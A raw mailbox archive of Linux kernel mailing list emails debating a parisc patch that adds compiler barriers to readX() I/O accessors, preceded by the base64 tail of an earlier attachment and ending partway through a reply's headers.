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

--fdj2RfSjLxBAspz7--


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Tue, 17 Apr 2018 10:37:32 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <1523957852.3250.9.camel@HansenPartnership.com>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
         <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523957740 21456 195.159.176.226 (17 Apr 2018 09:35:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 09:35:40 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: Sinan Kaya <okaya@codeaurora.org>, linux-parisc@vger.kernel.org,
        arnd@arndb.de, timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 11:35:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8N1R-0005HW-Jd
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 11:35:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752671AbeDQJhn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 05:37:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49588 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751211AbeDQJhk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 05:37:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 631688EE264;
        Tue, 17 Apr 2018 02:37:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id PHlny5JYO23N; Tue, 17 Apr 2018 02:37:39 -0700 (PDT)
Original-Received: from [192.168.0.46] (cpc91566-seac25-2-0-cust518.7-2.cable.virginm.net [86.0.94.7])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 18D978EE0E2;
        Tue, 17 Apr 2018 02:37:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1523957859;
        bh=h1GP6zKFGnPBy0ZeyllCutlNl/ypAYzHJt7/9/vqVbw=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=iKx2ENFVYipZudhfaIuG24RRKBD2NfclvaSUdYYDcxEGvCGN9Q204j64n8xq5sxZ0
         RfhE19HLspvHIr+6DaCYPdnJ6Jtju6LJ8HTGWIuUCxy+AHZiPJViTwzv+74bpr8dfh
         +4xf7smwdqYxcWzHxmrZXEgj12UqwBvDGfSYq8ZA=
In-Reply-To: <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742964 gmane.linux.ports.parisc:28503 gmane.linux.ports.arm.msm:33952 gmane.linux.ports.arm.kernel:644058
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742964>

On Tue, 2018-04-17 at 00:08 -0400, Sinan Kaya wrote:
> parisc architecture seems to be mapping readX() and readX_relaxed()
> APIs
> to __raw_readX() API.
> 
> __raw_readX() API doesn't provide any kind of ordering guarantees.
> commit 032d59e1cde9 ("io: define stronger ordering for the default
> readX()
> implementation") changed asm-generic implementation to use a more
> conservative approach towards the readX() API.

I don't follow your logic here.  function calls (even inline ones) are
sequence points and the compiler guarantees volatile variables are
stable before sequencing, so these two rules strictly compile order the
raw_read/write because the address is volatile.

> Place a barrier() after the register read so that compiler doesn't
> optimize across the regiter operation.

barrier() provides exactly the same guarantees as the sequence
point/volatile already above, so it seems to be completely unnecessary.

Perhaps if you gave an example of the actual problem you're trying to
fix we could assess if it affects parisc.

James


> Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
> ---
>  arch/parisc/include/asm/io.h | 23 +++++++++++++++++++----
>  1 file changed, 19 insertions(+), 4 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/io.h
> b/arch/parisc/include/asm/io.h
> index 2ec6405..e04c4ef 100644
> --- a/arch/parisc/include/asm/io.h
> +++ b/arch/parisc/include/asm/io.h
> @@ -179,19 +179,34 @@ static inline void __raw_writeq(unsigned long
> long b, volatile void __iomem *add
>  
>  static inline unsigned char readb(const volatile void __iomem *addr)
>  {
> -	return __raw_readb(addr);
> +	unsigned char ret;
> +
> +	ret = __raw_readb(addr);
> +	barrier();
> +	return ret;
>  }
>  static inline unsigned short readw(const volatile void __iomem
> *addr)
>  {
> -	return le16_to_cpu((__le16 __force) __raw_readw(addr));
> +	unsigned short ret;
> +
> +	ret = le16_to_cpu((__le16 __force) __raw_readw(addr));
> +	barrier();
> +	return ret;
>  }
>  static inline unsigned int readl(const volatile void __iomem *addr)
>  {
> -	return le32_to_cpu((__le32 __force) __raw_readl(addr));
> +	unsigned int ret;
> +	ret = le32_to_cpu((__le32 __force) __raw_readl(addr));
> +	barrier();
> +	return ret;
>  }
>  static inline unsigned long long readq(const volatile void __iomem
> *addr)
>  {
> -	return le64_to_cpu((__le64 __force) __raw_readq(addr));
> +	unsigned long long ret;
> +
> +	ret = le64_to_cpu((__le64 __force) __raw_readq(addr));
> +	barrier();
> +	return ret;
>  }
>  
>  static inline void writeb(unsigned char b, volatile void __iomem
> *addr)



From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Tue, 17 Apr 2018 10:13:28 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
 <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
 <1523957852.3250.9.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523974295 11050 195.159.176.226 (17 Apr 2018 14:11:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 14:11:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 16:11:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8RKT-0002kr-D3
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 16:11:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752726AbeDQONg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 10:13:36 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:56684 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751865AbeDQONd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 10:13:33 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id C6BEE60F74; Tue, 17 Apr 2018 14:13:32 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523974412;
        bh=lurjU3QENkzJ6u4HmSkCIts6F+eowKXjUd63qoYAdwE=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=SFzaliwhNVCZEumG2KNyI6DqK82zJf7xRLbGLQP3uISrCbGzd+0go16VcqvEPB+Wh
         FUt+4Aizr4EqFSxknkrjx7FBXK5/xTFIsfMpAWaDYPjgE5f8V09di5UG1QEbZUx2zV
         qnA2tM9BeM191abRBq4dLJSjD6M22i0A5i5+aRsI=
Original-Received: from [192.168.0.105] (cpe-174-109-247-98.nc.res.rr.com [174.109.247.98])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 23C7D60C64;
        Tue, 17 Apr 2018 14:13:29 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523974411;
        bh=lurjU3QENkzJ6u4HmSkCIts6F+eowKXjUd63qoYAdwE=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=HI0yn72gTDjxlz5NU8ELOjuZelsGY6ZSg5lwlnGR/V8tRGOcLUB2HkBoY1qcPy6bD
         8IlXHSTMDSjSwBrrw5A3D3dSqg9S4nWflscTPkZUV0EZqCwdQ+vS5gEHY46EOF6m+A
         mFn5yTU0uYtzoT/8IbDtMVbIS2te7V1mxeHtYqls=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 23C7D60C64
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <1523957852.3250.9.camel@HansenPartnership.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2743239 gmane.linux.ports.parisc:28504 gmane.linux.ports.arm.msm:33955 gmane.linux.ports.arm.kernel:644175
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2743239>

Hi James,

> 
> Perhaps if you gave an example of the actual problem you're trying to
> fix we could assess if it affects parisc.

Let me clarify myself here. Maybe, there is a better solution.

		/* assign ownership */
		desc->status = DEVICE_OWN;

		/* notify device of new descriptors */
		writel(DESC_NOTIFY, doorbell);

The difference between writel() and writel_relax() is writel() guarantees
memory transactions to be flushed to the device before the register write.
writel_relaxed() does not provide any guarantees about the memory and IO
operations.

Similarly, readl() provides following code to observe the DMA result while
readl_relaxed() does not provide this guarantee.

Ideally, you want to embed rmb() and wmb() into the writel() and readl()
to provide this guarantee.

PA-RISC doesn't seem to support neither one of the barrier types. If you are
familiar with the architecture, maybe you could guide us here.

Is __raw_writeX() enough to provide this guarantee for this architecture?

Sinan

-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Tue, 17 Apr 2018 16:55:08 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1523980508.3310.9.camel@HansenPartnership.com>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
         <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
         <1523957852.3250.9.camel@HansenPartnership.com>
         <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523980398 25830 195.159.176.226 (17 Apr 2018 15:53:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 15:53:18 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: Sinan Kaya <okaya@codeaurora.org>, linux-parisc@vger.kernel.org,
        arnd@arndb.de, timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 17:53:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8Sut-0006Zs-GN
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 17:53:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753550AbeDQPzT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 11:55:19 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53062 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
